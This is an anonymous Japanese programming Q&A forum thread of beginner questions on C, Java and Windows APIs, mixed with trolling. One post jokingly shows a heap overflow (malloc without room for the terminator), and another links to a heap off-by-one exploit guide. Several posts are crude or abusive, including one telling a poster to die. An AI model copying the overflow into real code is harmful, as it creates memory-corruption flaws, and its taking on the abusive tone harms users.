すれ違いなんですが、該当スレ探すの偉いので
この場で質問させてください。UPSにサーバ10台ぶら下げたいんですが
最適なスペックとメーカー誰かおしえてください。
来週顧客レビューまでに見積もりしないといけないんですー
0774デフォルトの名無しさんNGNG
「該当スレ探すの偉いので」
疲れた/大変をえらいって表現するのって
どこの地方の方言だっけか。
0775デフォルトの名無しさんNGNG
>>716さん マジレスありがとうございます。
0776デフォルトの名無しさんNGNG
>>774
四国の方
0777デフォルトの名無しさんNGNG
777get
0778デフォルトの名無しさんNGNG
>>774
山口とか
0779デフォルトの名無しさんNGNG
スレ違いどころか板違い。
えらいなら今すぐ染んだら?
0780デフォルトの名無しさんNGNG
>>772
Createは引数なしだから__stdcallかどうかは関係ないかと。
どっか他の部分だろう。
0781デフォルトの名無しさんNGNG
あれ、ちょっと待て。
>>770 の質問は「メモリリークが起きるのはなぜ」じゃないか?
それなら new したオブジェクトを delete していないから、だからだが。

「変な値になる」はきっとなんかコピペミスだよ。
かつての「野太いチンポをぶち込んでくれませんか」みたいな。
0782デフォルトの名無しさんNGNG
来たぞ来たぞアラしちゃん
きーんきんきんきんきんきんおまっとさんじゃった
ぴーぴぴぴぷぺぽガッチャマン
夢の爆弾打ち上げろ
通報しますた豚さん法華経

みんな集まれペンギン村に
どんなことが起こるかな
それいけBCCC甲斐性なし

みんな集まれペンギン村に
どんなことが起こるかな
それいけBCCC甲斐性なし

0783デフォルトの名無しさんNGNG
MacOS�IでのFORTRANのコンパイルコマンド教えてください。
0784デフォルトの名無しさんNGNG
>>783
g77
0785デフォルトの名無しさんNGNG
MACOSX

マッコスクス



なぜこんな変な名前なのですか。
0786デフォルトの名無しさんNGNG
逆から読んでみな

クソカム
0787デフォルトの名無しさんNGNG
ムカソク
0788デフォルトの名無しさんNGNG
最近C++を学び出したのですが、
「文字列の変数aにSevenの文字列をscanf文を用いて読み込め。」
という問題がいまいち分かりません。
scanf文はキーボードから入力する場合に使うと思っていたのでどういうことなのか・・・
もし分かる人がいらしたら教えてください。
0789デフォルトの名無しさんNGNG
>>788
ちょっとだけヒントを教えよう。
scanf関数はキーボードから入力する関数ではない。
標準入力からの入力する関数。

そしてここから先は言語の問題ではなく、環境の問題。
キーボードなど無くても、標準入力はあるかもしれない。
0790デフォルトの名無しさんNGNG
>>788
sscanf... ぼそ・・・・
0791788NGNG
>>789
>>790
ありがとうございます。
もう一度がんばってみます。
0792デフォルトの名無しさんNGNG
>>788
別に矛盾しないと思うが?
その問題は〜〜に読み込め、と、〜〜を読み込め、とは書いてあるが〜〜から読み込め、とは指定されていない。
勝手にキーボードから読み込め。
0793デフォルトの名無しさんNGNG
そういやマ板にX-Windowのプログラミング関連のスレないっぽいけど,
やっぱ需要ないのかな?

今はまだ何もわからない状態で、質問すらないけど
時間空いたらそっち方面勉強しようかなって思ってるんで
0794デフォルトの名無しさんNGNG
×マ板
○ム板

で、C/C++メインなのでやはりベストはここかな?
【初心者歓迎】C/C++室 Ver.10【環境依存OK】
0795デフォルトの名無しさんNGNG
すいません質問があります。

VC++ で windows の cui プログラムを作っているんですが、

コンパイルされた時間をプログラムのバージョンとして表示するようにしたいんですが、
そのようなことはできるのでしょうか。
0796デフォルトの名無しさんNGNG
>>795
できる
0797デフォルトの名無しさんNGNG
>>796
どうやって?
0798デフォルトの名無しさんNGNG
自分でコンパイルした時間をバージョン表記させりゃ済むことやないか


配布した先でコンパイルさせるのではないのなら
自分しかコンパイルできないのだから
0799デフォルトの名無しさんNGNG
コンパイルオプションにバージョン設定のオプションがあるし、
ファイルのプロパティのバージョン表示で
バージョンが設定されてるEXEが存在するから
やればできるだろ。
0800795NGNG
>>796-799
レスありがとうございます。

表示方法は単純にdos窓にprintf()で表示するだけのつもりですので
問題ないのですが、コンパイルされた時間を知る方法がわかりません

どうやってコンパイルされた時間を取得すればいいのでしょうか?

初心者ですいません
0801デフォルトの名無しさんNGNG
普通に__DATE__,__TIME__使えばすむ事じゃん。
0802デフォルトの名無しさんNGNG
阪神淡路大震災って震度いくつだっけ?
0803デフォルトの名無しさんNGNG
最大7
0804デフォルトの名無しさんNGNG
6+ってあんまたいしたことないのな
0805デフォルトの名無しさんNGNG
>>800
そんないいかげんなことは置いといて
やるならコンパイルの時にバージョンを指定して、
実行したときにバージョン情報を読んで表示だな。
0806デフォルトの名無しさんNGNG
>>805
馬鹿は消えな
0807デフォルトの名無しさんNGNG
あの、いきなりですいません。
僕は、大学で現代美術の方をやっているのですが、
次の作品作りの中で、声を自動で録音して、スピーカーから、
例えば、三秒後に流す・すぐに聞こえるけどスピードがゆっくり・五秒後に2倍速
などをランダムに、自動で流す。 という課程があり、イロイロと試行錯誤しながら作ってみた物の
上手くいかず、何か良い方法教えてもらえませんか?
0808デフォルトの名無しさんNGNG
>>807
ランダムということは再生するたびに違うということかな?
君が作ったのはプログラム?それとももっと…アナログなもの?
0809807ですNGNG
アナログな物を作ったのですが、上手くいかなかったので、
プログラムを組もうと思うのですが、よく分からなくて。

観客の方に、声を入れてもらい、その再生方法をランダムに変えて
いきたいのですが。。難しいですよね?
0810デフォルトの名無しさんNGNG
>>809
話者が話だした
録音
話者が話終わった。録音ストップ。
ランダムで次の1〜3のどれかに分岐する
1. 3秒だけスリープしてから 再生する
2. ゆっくり再生する
3. 5秒だけスリープして 5倍速再生する
話者が話だすまで待機

というシーケンスが考えられる。
この仮定で作らないといけないのは、
再生スピードを指定して音を再生する操作と、
録音する操作、
話者が現在話しているかどうかを判定する操作だね。
0811デフォルトの名無しさんNGNG
>>809
ところで、倍速再生する場合、音の高さは変わってもいいのかな?
例えばテープレコーダでゆっくり再生させたら音が低くなるよね。
そういう感じでもいいのかな。
それとも音の高さは変わらないでゆっくりと再生させるようにするのかな?
0812807ですNGNG
返答ありがとうございます。
音の高さ、特にこだわりは無いので、違う動作が必要ならば、
変わっても良いのですが。
0813デフォルトの名無しさんNGNG
Windowsでいいよね?
0814807ですNGNG
はい。ちなみに僕はME使ってます。
0815デフォルトの名無しさんNGNG
プログラミングおぼえたいのですが
言語は何から勉強したらいいのでしょうか?

高速リダイヤルソフトを作りたいんです。
0816デフォルトの名無しさんNGNG
>>815
もちろんCOBOL
0817デフォルトの名無しさんNGNG
最初はCOBOLだよね。
0818デフォルトの名無しさんNGNG
COBOLがだねぇ。
0819デフォルトの名無しさんNGNG
コボル、コボル、コボル・・・と繰り返して言っていると、
そのうち ボコる になるというのは外出?
0820デフォルトの名無しさんNGNG
最初はCASLだろ
0821デフォルトの名無しさんNGNG
プログラミングをやったことのない者が
いきなりJAVAをおぼえようとするのは
無理なのでしょうか?
0822デフォルトの名無しさんNGNG
時代はCASL�Uだろ
0823デフォルトの名無しさんNGNG
>>821
無理ではありません。
プログラミング言語を覚えること自体どの言語でも大して変わりはありません。
0824デフォルトの名無しさんNGNG
>>821
Javaは馬鹿でも分かる初心者向け言語として有名です。
それすら分からないなら向いてないのですっぱりあきらめるのが賢い選択です。
0825デフォルトの名無しさんNGNG
>>815
イマイ
キタ━━━━━━(゚∀゚)━━━━━━ !!!!
0826あいうえおNGNG
家でボーランドのCコンパイラ使っているんですが、
(fp = fopen("Datafile.txt", "r")
と、やって実行すると、本来ならドス窓に実行結果が出るはずなのですが
------------------------------------------------
問題が発生したため、rensyu.exe を終了します。
ご不便をおかけして申し訳ありません。
作業中であった場合、その情報は失われた可能性があります。
この問題をMicrosoftに報告してください。
〜〜〜〜〜〜なんたら〜〜〜
------------------------------------------------
と、出てしまいます。(Windows環境です)
この問題をどうにか解決する手段はないでしょうか?

会社のUNIXでなら実行できるのですが・・・。
0827デフォルトの名無しさんNGNG
その行以外にバグがあります。以上。
0828あいうえおNGNG
>>827
ありがとうございます。
バグですか・・・
しかし会社の環境ではちゃんと実行結果出るのに(UNIX)、
家でボーランドを使うと出ないってのはおかしい気がします。
全く同じソースなんですよ。


0829デフォルトの名無しさんNGNG
プログラマとは思えない発言
いや、プログラマとは一言も書いていないが
0830デフォルトの名無しさんNGNG
>>828
ファイルのオープンに失敗してるのに、読み込もうとしてるとか、そんなんじゃないの?

デバッガでステップ実行させるか、デバッガ無しなら、怪しいところにprintfをいれて、
バグの発生箇所を特定するように。
0831デフォルトの名無しさんNGNG
ボーランドのCコンパイラすごいな。
(fp = fopen("Datafile.txt", "r")
ってやると何かの実行結果返ってくるのか・・・
0832デフォルトの名無しさんNGNG
>この問題をどうにか解決する手段はないでしょうか?

原因箇所の特定
↓
原因の特定
↓
対策を講じる
↓
稼動テスト

という手段がある。

おはり
0833あいうえおNGNG
>>829
コンパイラによって仕様が違う事は分かっています。

しかし、
(fp = fopen("Datafile.txt", "r")
の部分で存在しないファイルを指定すると、
単にオープンエラーがでるだけなので(問題は発生しない)
やはり、ファイルをオープンする時にだけ問題があるのだと思います。
Datafile.txt を Datafile.dat とやってもうまくいきませんでした。
0834デフォルトの名無しさんNGNG
うちゅうじん
0835デフォルトの名無しさんNGNG
コンパイラによって仕様が違うのが分かってるんなら

家でボーランドを使って出なくなっても別におかしくないだろ
0836デフォルトの名無しさんNGNG
(fp = fopen("Datafile.txt", "r")
↑ここにある括弧はなんのためにつけてるの?

というか、ソース見てみたいなぁ・・・
0837うちゅうじん の てれぱしーNGNG

ふしぎなふしぎなことば テテテテテテテテテレパシー♪

うちゅうのことばはテレパシー テテテテテテテテテレパシー♪

とおくのほしから やってきた うちゅうじんとはなそうよ♪

りょうてでしんごうテレパシー うちゅうじんもにっこりと♪

.
0838あいうえおNGNG
>>830
オープンに失敗すれば、オープンエラーがでるだけです。

>>831
それはたんなるコピペミスです・・・
正確には下記のように書いています。
if ((fp = fopen("Datafile.dat", "r")) == NULL) {
printf("ファイルのオープンエラーです\n");
exit(1);
}

>>835
ファイルオープンの部分だけで、不具合が発生するのは変です・・
0839デフォルトの名無しさんNGNG
なんで
ファイルオープンの部分だけで不具合が発生した
って分かるんや

ちゃんと検証した上での発言かい?
0840デフォルトの名無しさんNGNG
>>838
fopen()で、落ちてるというのは確実なの?

ファイルをオープンして閉じるだけの、数行程度のコードを書いてみて、
現象が再現するか確かめてみたら?
0841あいうえおNGNG
>>839
ファイルオープンの部分だけを外して実行しても、
不具合は発生されないからです。
0842デフォルトの名無しさんNGNG
"r"->"rb"
0843デフォルトの名無しさんNGNG
fpを上で一回使って、さらにもう一回使おうとしてるとか・・・

fp = fopen("a.dat", "r");
fp = fopen("b.dat", "r");

みたいに。
これでも落ちることはないような気もするけど・・・

ファイルオープン外して実行してもそのまま進むなら、何のために読み込んでるの?
0844デフォルトの名無しさんNGNG
つべこべ言わずにソースを全部晒せ
0845あいうえおNGNG
正確には、
家では BCC Developerを使用しています。
ここで、実行ボタンを押すと、
コマンドプロンプトが出てくると同時に問題も発生します。
0846デフォルトの名無しさんNGNG
>>845
>>836
>>844
0847デフォルトの名無しさんNGNG
>>841
ファイルオープンが成功した時のコードに問題あるんじゃない?
0848あいうえおNGNG
本文が長すぎますって出て書き込めません。
ソースをかなり詰めて、3分割しようとしたのですがそれでも。。
いったい何行なら書き込めるんでしょう・・・
0849デフォルトの名無しさんNGNG
とりあえず 読み込むファイルはどのくらいのサイズやねん
数バイトの小さいファイルを読み込んで試してみろ
0850デフォルトの名無しさんNGNG
不具合を検証する際、問題を再現する最小限のコードに切り詰めて
テストするというやりかたもある。で、そういうことをちゃんと
やっていればどこがおかしいかおのずとわかってくるし、ここに
コピペするときも楽。
0851デフォルトの名無しさんNGNG
>>848
現象を再現できる短いコード書けばいいじゃん。
0852デフォルトの名無しさんNGNG
このサーバは32行まで。
0853あいうえおNGNG
なぜか、ソース中の、途中経過を見るために設置した、
printf("%s", name);
を消してみたら、コマンドプロンプトに実行結果が出ました。
なぜだろう・・・
みなさんありがとうございます。
0854デフォルトの名無しさんNGNG
>ファイルオープンの部分だけを外して実行しても、
>不具合は発生されないからです。
このデバッグのやり方はよくないな

ファイルオープンは遠因なだけでそこを外して通ったからといって
そこが悪いとは限らないよ

別の箇所に潜在的なバグ要因があって
ファイルオープンを通した時に偶然それが発現しているのかも知れないし
0855あいうえおNGNG
ちなみに、nameという変数は
char *name
と定義していました。

このnameをstrcpyで他の変数に渡してからprintfすれば不具合が出ません。
UNIXだと *nameをprintfすると正常でCコンパイラだとダメみたい・・。
0856デフォルトの名無しさんNGNG
あーあ
0857デフォルトの名無しさんNGNG
やはりバグか。しかもまだバグは修正できてなさそうだな。まあ他人事だしどうでもいいや。
0858デフォルトの名無しさんNGNG
>>855
Cのメモリとポインタの扱いがまだ理解できていないということが
よくわかった。

メモリ関係のバグは実行環境のOSやコンパイラによって
顕在化のしかたが大きく影響する。
UNIXで動いていたのは運が良かった(いや、バグに気づかないぶん悪質か?)だけだ。
0859あいうえおNGNG
>>857
途中のprintfを消したらちゃんと実行結果でましたよ。
だからバグは修正できたと思います。

>>858
なるほど・・・ありがとうございます。
0860デフォルトの名無しさんNGNG
ワラタ
0861あいうえおNGNG
何が可笑しいんですか?
0862デフォルトの名無しさんNGNG
“動けばいい” という考え方は間違いよん
0863855NGNG
>>859
>途中のprintfを消したらちゃんと実行結果でましたよ。
>だからバグは修正できたと思います。

甘い
現象が再現しないからといって「バグが無い証拠」にはならん。

自分の気づかないところでメモリ領域をぶっ壊して
たまたま爆弾に触れる前に実行が終っただけって可能性が非常に高い。

御主がprintfで出力しようとしていた文字列のメモリ領域は
char *name; の宣言「だけ」ではどこにも確保されない。

ポインタnameは何処を指しているか説明できるか?
ちゃんと文字列用の領域は別に確保して
そこを指すようにしたんだろうな?
0864デフォルトの名無しさんNGNG
char *nameに
malloc()なりnewなりで確保したメモリを、まだ参照してるのにfree()やらdeleteやらしちゃったって話じゃないの?
0865デフォルトの名無しさんNGNG
>途中のprintfを消したらちゃんと実行結果でましたよ。
>だからバグは修正できたと思います。
怖すぎ
基本的なデバッグの考え方が甘い
0866デフォルトの名無しさんNGNG
10ケタ以上の整数を扱いたい場合はどうしたら良いのでしょうか?
long int 以上って無いですよね・・・
BorlandのフリーのC++ Compilerを使っています
0867デフォルトの名無しさんNGNG
>>866
多倍長整数でぐぐる
0868デフォルトの名無しさんNGNG
long longないの?
0869あいうえお(偽者)NGNG
つれた つれた
0870デフォルトの名無しさんNGNG
C♯みたいにC++の機能をもっていてVBのわかりやすさをもっているけど
ランタイムなどが必要ない言語って何?
0871デフォルトの名無しさんNGNG
Delphiと言わせたいんだろうが。あ?
0872馬鹿にマジレスNGNG
>>870
・C#はC++ほどの機能を持ち合わせていません。
・VBのわかりやすさ=RADなら、言語よりもIDEを調べなさい。そもそもこんな台詞はくやつはVBも使いこなせないわけだが。
・ランタイムが要らない言語=>ランタイムライブラリが何かそもそもわかってないし。まあ全部スタティックリンクで作っててください。
0873デフォルトの名無しさんNGNG
そういう風にとられてしまいますね。これじゃ。
文法的にはC/C++みたいでわかりやすさはVBみたいな言語って言えばよかったですかね。
すいません。
0874デフォルトの名無しさんNGNG
>>873
お前がどのあたりがC#は分かりやすくてC/C++は分かりやすくないと思ってるのか分からんと答えようがない。
0875デフォルトの名無しさんNGNG
自分がとても痛い人間だと気づきました。
スレ汚し失礼いたしました
0876デフォルトの名無しさんNGNG
DelphiかDでもやっとけ
0877デフォルトの名無しさんNGNG
わかりやすさ、理解しやすさと効果の高さを兼ね備えているのはアセンブラ。


機械語は面倒。
0878866NGNG
>>867
おお,ありがとうございます。
0879デフォルトの名無しさんNGNG
普通にCやっとけ。
正直VBより簡単。

食わず嫌いが一番イカン。

つーか、俺はむしろVBは挫折した口。
なんだよ、たかだか変数宣言するだけなのにDim〜ナンチャラとか糞長いの書かされたり
API使うのに3行くらいのありえない量の宣言書かされたり。
あれが簡単と言うヤツの方が異常。
0880デフォルトの名無しさんNGNG
Cやっとけってアホか・・・
0881デフォルトの名無しさんNGNG
VBは良くも悪くもプロ用だからな。
ああいうもんだと割り切って使うしかない。
むしろOfficeに入れてもいいかも知れん。
0882デフォルトの名無しさんNGNG
ファミコンのエミュで動くゲームを作りたいんですが、
そのようなコンパイラやSDKはありませんか?
0883デフォルトの名無しさんNGNG
ファミリーBASICなつかC
0884デフォルトの名無しさんNGNG
ファミコンSDKでロム作って吸え
0885デフォルトの名無しさんNGNG
ttp://java.sun.com/j2se/1.4.2/ja/download.html
サイトが重いようでダウンロードできない・・・
どっかミラーサイトとかね〜のかよ・・・orz
0886デフォルトの名無しさんNGNG
ん
なもんね〜〜〜〜〜〜〜〜〜〜〜〜〜よ
(稲中)
0887デフォルトの名無しさんNGNG
質問します。自分、Cを独学で約1年少々かけて勉強して
多少プログラミングができるようになったと一人で勝手に思っている若輩者ですが、
今の自分の力量でどの程度のものが作れるのか試してみたいのです。
というわけでCを使って何か簡単で、そしてできれば実用的だったりするプログラムを
書いてみたいのですが、どんなものがいいでしょうか?
0888デフォルトの名無しさんNGNG
そりゃ、自分が不便だと思っている事柄を解決するプログラムを組むのが一番だろう。
0889デフォルトの名無しさんNGNG
ストリーミングをローカルに保存できるダウンロードソフト
GUIは凝りまくりで
0890デフォルトの名無しさんNGNG
>>887
テレビの文字放送を受信できるソフト作ってYO!
0891デフォルトの名無しさんNGNG
winXPを使ってます。
sndPlaySoundで一部のwavが再生できません。なぜ?+
sndPlaySoundを使って再生できる音楽ファイルの種類を教えてください。
PlaySoundを使って再生できる音楽ファイルの種類も教えてください。
よろろ
0892デフォルトの名無しさんNGNG
くだらない質問だけど、プログラムのサンプルをコピーして
課題提出してもばれない?多少は中身を変えてあるけど、どうだろう?
0893デフォルトの名無しさんNGNG
>>892
採点する人による。
人を見て判断してくれ。
0894デフォルトの名無しさんNGNG
くだらない質問だけど、課題写して学校行く意味あるの?
0895デフォルトの名無しさんNGNG
あったらいいなと思ったもの


逆スコンパイラ
逆アセンブラ


逆の付くものはは、とにかく愉快で有用なものが多い。

逆噴射とか。
0896デフォルトの名無しさんNGNG
スコンパイラって愉快そうだな(w
0897デフォルトの名無しさんNGNG
FitzHugh-Nagumo方程式の解軌跡を求めるプログラムを書き,
興奮性を示すx,yの初期値を一組探しグラフで結果を示せ.
ただし,a=0.7,b=0.8,c=20.0,z=1.0を初期値とし,
これらの値を変更しても構わない.

FitzHugh-Nagumo方程式:
dx/dt=c(x-x^3/3+y+z)
dy/dt=(a-x-by)/c

プログラム関連の知識がないし、そもそもどういう問題なのかもよくわかりません。
だれか分かる方おしえてもらえませんか??
0898デフォルトの名無しさんNGNG
宿題は宿題スレで
0899デフォルトの名無しさんNGNG
>>897
授業で微分方程式の数値解法とか習った?
0900デフォルトの名無しさんNGNG
VBかVCのどちらでもいいんですが、Win2000の管理ツールからイベントビューアで吐き出す、
システムログとかのログを取得する方法ってあるのでしょうか?
あるいはそのログをテキストファイルに書き出す方法でもいいです。
すいませんが、どなたかわかる方教えてください!
0901897NGNG
>>899
ならってないです。。。
0902デフォルトの名無しさんNGNG
>>892
うちの学校の教官は、変数を変えたくらいなら検出する
チェックプログラムを使ってますた。
0903デフォルトの名無しさんNGNG
データを保存/退避するという意味でのStore(ストア)の反語って何て言うんでしょう?
0904デフォルトの名無しさんNGNG
Loadかな
0905903NGNG
>>904
LoadはSave<->Loadってイメージがあるんだけどゲームのやりすぎかな・・・。
じゃあSave, Loadでいいじゃん。
ありがと。

#結構こういうつまらねー事で時間食う時って結構あるなぁ。
0906デフォルトの名無しさんNGNG
Write<->Read
とか
0907デフォルトの名無しさんNGNG
 アナログのOS(PCね)て、できないかな。いい意味で鷹揚で柔軟で、壊れかけの
 ファイルでもテキトーに開けたりして便利そう。いまのPCはあまりにも頭硬いよ。
 21世紀の未来を創造する先進のヒューマノイド型アナログPC!
 えー、こんな感じで実行されつつ..、...、どうなるんでしょう..、..(2chOS?

0045A000 へっだ
0045A010 なにそれ
0045A020 まあ まあ
0045A030 どうだっけ
0045A040 いいやん
0045A050 とりあえず
0045A060 はてな
0045A070 てきとーに
0045A080 これっと
0045A090 いっく
0045A0A0 どうすべ
0045A0B0 go for
0045A0C0 broke
0045A0D0 やったれ
0045A0E0 とつげき
0045A0F0 おっぷす
0045A100 でりった
0045A110 どうする
0045A120 しらんね
0045A130 なんだよ
0045A140  もんく
0045A150 あんのか
0045A160 うるせえ
0045A170 コロすぞ
0908デフォルトの名無しさんNGNG
>>907
こちらへ↓
電波・お花畑
http://etc3.2ch.net/denpa/
0909デフォルトの名無しさんNGNG
>>907
曖昧さと言う意味なら、A.Iの技術が上がれば実現するでしょ。
間違えて、領域破壊しそうになっても「このアドレスに書き込むはずが無い、恐らく隣のこの領域だろう」
と言う感じでA.Iが判定するとか。

ただ、それはそれで怖くないか?w
0910デフォルトの名無しさんNGNG
>>900
OpenEventLog でググる。
0911デフォルトの名無しさんNGNG
4*3*2*1 を数式で表すとなんだっけ? もっと短く
0912デフォルトの名無しさんNGNG
4!
0913デフォルトの名無しさんNGNG
4!
0914デフォルトの名無しさんNGNG
4!
0915デフォルトの名無しさんNGNG
4!
0916デフォルトの名無しさんNGNG
24
0917デフォルトの名無しさんNGNG
静的に型付けされた言語と、動的に型付けされた言語って、
どちらが優れていると思われますか?
ご意見お願いします!
0918デフォルトの名無しさんNGNG
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!RUBY!!
0919デフォルトの名無しさんNGNG
>>917
宿題は宿題スレへ
0920デフォルトの名無しさんNGNG
>>907
言われたことだけきっちりやってくれるだけでいい。
余計なことをされると邪魔なだけ。
適当にファイル開くぐらいならAIとか関係ないし
0921デフォルトの名無しさんNGNG
Windowsは、ショートカットのリンク先が見当たらないと
適当なのを探しに逝きますな。
0922デフォルトの名無しさんNGNG
>>921
アフォか?おまえ
適当じゃねえよ
0923デフォルトの名無しさんNGNG
>>919
言語一般の宿題スレってないんです。
宿題じゃないんですけど。。。
0924デフォルトの名無しさんNGNG
>>923
静的に型付けされた言語って何よ
動的に型付けされた言語って何よ
0925デフォルトの名無しさんNGNG
>>924
具ぐれ馬鹿
0926デフォルトの名無しさんNGNG
>>922
てきとう ―たう 0 【適当】 
(名・形動)スル[文]ナリ
(1)ある状態・目的・要求などにぴったり合っていること。ふさわしいこと。また、そのさま。相当。
「―な例」「―な結婚相手を世話する」「君主政治なる者は殊に大国に―するの理を/民約論(徳)」
(2)その場を何とかつくろう程度であること。いい加減なこと。また、そのさま。
「―にはぐらかす」「―なことを言う」

(1)の意味を覚えておけ。
0927デフォルトの名無しさんNGNG
>>926
話の流れは(1)だろボケ
0928デフォルトの名無しさんNGNG
プ
0929デフォルトの名無しさんNGNG
言わんとする事はわかるが(2)だよな。
0930デフォルトの名無しさんNGNG
Windows2000ですべてのサービスの起動のログをとる・見る方法はありますか?
0931デフォルトの名無しさんNGNG
>>930
それは Win32 スレで書いたほうがいいと思うよ。
イベントログをとるだけではだめなの?
0932デフォルトの名無しさんNGNG
すいません。どっちに書こうか迷いました。
イベントログ=イベントビューアで見れるやつ ですか?
そこには、サービス一覧にのっているサービスが起動したというログが
すべて書かれていないと思うのですが。
0933デフォルトの名無しさんNGNG
>>932
サービス自身がログ吐いていないのであれば、
ログを見ることもできんでしょう。
それは無理な相談ってもんです。
ちなみに API でイベントログにアクセスできるの分かってるよね?
0934デフォルトの名無しさんNGNG
>932
> サービスが起動したというログが

もしかして、サービスがちゃんと起動できたかどうかを知りたいだけ?
0935932NGNG
>>933
そうなんですか、、、
てっきり、どこかに「DHCP Client 開始」とかログされているものだと
思っていました。
アクセスできるのは知ってますが、方法は知りません。
0936932 NGNG
>>934
いえ、サービスが起動した順番を見たかったです。
0937デフォルトの名無しさんNGNG
>>935
いや、開始されたかどうかだけなら、
どこかに記録されているのかもしれない。私は詳しくは知らない。
少なくとも現状で起動されているかどうかを調べることはできるが。
0938デフォルトの名無しさんNGNG
どちらにしろマ板の話題ではないよな
普通にWin板いけば?
0939932NGNG
ありごとうございました。
0940デフォルトの名無しさんNGNG
#かき消されてしまったので、もう一度
静的に型付けされた言語と、動的に型付けされた言語って、
どちらが優れていると思われますか?
ご意見お願いします!
0941デフォルトの名無しさんNGNG
>>940
静的に型付けされた言語って何よ
動的に型付けされた言語って何よ
静的に型付けされた言語って何よ
動的に型付けされた言語って何よ
静的に型付けされた言語って何よ
動的に型付けされた言語って何よ
0942デフォルトの名無しさんNGNG
>>940
Rubyが優れている。
0943デフォルトの名無しさんNGNG
>>911-916
ワロタ
0944デフォルトの名無しさんNGNG
ガラガラヘビとペンギンはどちらが優れていますか?
ご意見お願いします!
0945デフォルトの名無しさんNGNG
>>944
Rubyが優れている。
0946デフォルトの名無しさんNGNG
間を取って白熊だな。


そういえば Hoge って正確にはなんて読むの?
ほげ?
0947デフォルトの名無しさんNGNG
>>940
まったく前提抜きにただどちらが優れてるなんて意味のない質問はやめとけ。
型あり型なし言語の比較は専用スレがかつてあったから過去スレあさってみろ。
0948デフォルトの名無しさんNGNG
>>947 ありがとう。過去ログ調べてみる。
0949デフォルトの名無しさんNGNG
型なし言語逝ってよし
http://piza.2ch.net/test/read.cgi?bbs=tech&key=986355498
0950デフォルトの名無しさんNGNG
>>946
そうみたいだ。
http://kmaebashi.com/programmer/hoge.html
0951デフォルトの名無しさんNGNG
この板にくるたび感じるんですが
まじレス多すぎて
シャレんならんです
0952デフォルトの名無しさんNGNG
ネタがやりたいならマ板へ逝け
0953デフォルトの名無しさんNGNG
コンパイルは成功するのですが
処理を実行すると以下のエラーが表示されます。

Debug Error!

DAMAGE:after Nomal block(#51) at 0x00921D00

(Press Retry to debug application)

調べてみたところ、malloc()でメモリを確保した後、
free()で確保したメモリを開放するところでエラーが発生しているようです。


free()でメモリを開放しなけれ、エラーは発生しないのですが
プログラムの終了までメモリを保持し続けるとなると結構辛いのです。
0954デフォルトの名無しさんNGNG
確保した領域を越えてメモリを弄ってる
ソース見直せ
0955デフォルトの名無しさんNGNG
char original[] = "ぬるぽ";
char* str = (char*)malloc(strlen(original));
strcpy(str, original);
free(str);

隊長!爆撃完了しますた!
0956デフォルトの名無しさんNGNG
 C言語で、MS-DOSプロンプトを使って実行するプログラムは、いくらでも作ってます。
 でも、市販のソフトウェアは、どれもWindowsプログラムです。
 MS-DOSプロンプトのプログラムも、商品になりますか。
0957デフォルトの名無しさんNGNG
>>956
コンソールアプリケーションで商品になりうるものがあるかどうか、ということを
言っているのですか?
だとしたら、はい、あります。
0958デフォルトの名無しさんNGNG
>>956
買う人がいれば
0959デフォルトの名無しさんNGNG
JAVAに初めて挑戦しています(大学の授業で)。
現在、まだ、円の面積をクラスをつくって計算…、とかです。
今後、授業終わった後も少しずつ勉強していきたいと思っているのですが、
初学者にオススメのJAVA解説書籍を教えて頂きたいです。
0960日本人NGNG
lpszClassName
Pointer to a null-terminated string or is an atom.
If this parameter is an atom, it must be a global atom created by a previous call to the GlobalAddAtom function.
The atom, a 16-bit value, must be in the low-order word of lpszClassName; the high-order word must be zero.
If lpszClassName is a string, it specifies the window class name.

なななんなんて訳せばいいでしか((((;゜Д゜))ガクガクブルブル
0961デフォルトの名無しさんNGNG
>>960
CreateWindow() の第1引数 lpszClassName の事かね。
# もしくは CreateWindowEx() の第2引数。
日本語MSDNをひくべし。
0962マイク ◆yrBrqfF1Ew NGNG
>>955
こんな感じのことだろ
http://thc.org/root/docs/exploit_writing/heap_off_by_one.txt
0963デフォルトの名無しさんNGNG
HTMLなんですが、
WEB PAGEを固定して、USERがWindow Sizeを変えても、
Page Styleが崩れないようにするにはどうしたらよいでしょうか?

よろしくお願い致します。
0964デフォルトの名無しさんNGNG
>>963
ページスタイルって、レイアウトのこと?
0965デフォルトの名無しさんNGNG
HTMLはプログラムじゃないだろ?
0966デフォルトの名無しさんNGNG
マイクロプロセッサー8086のアセンブリ言語についてだれか詳しい方
いらっしゃいますでしょうか??
0967デフォルトの名無しさんNGNG
>>966

アセンブラ… (°Д°)ハァ?
http://pc5.2ch.net/test/read.cgi/tech/1093519463/
0968966NGNG
>>967
thank you
0969デフォルトの名無しさんNGNG
複数のCOMポートにそれぞれ装置がぶら下がっていて、
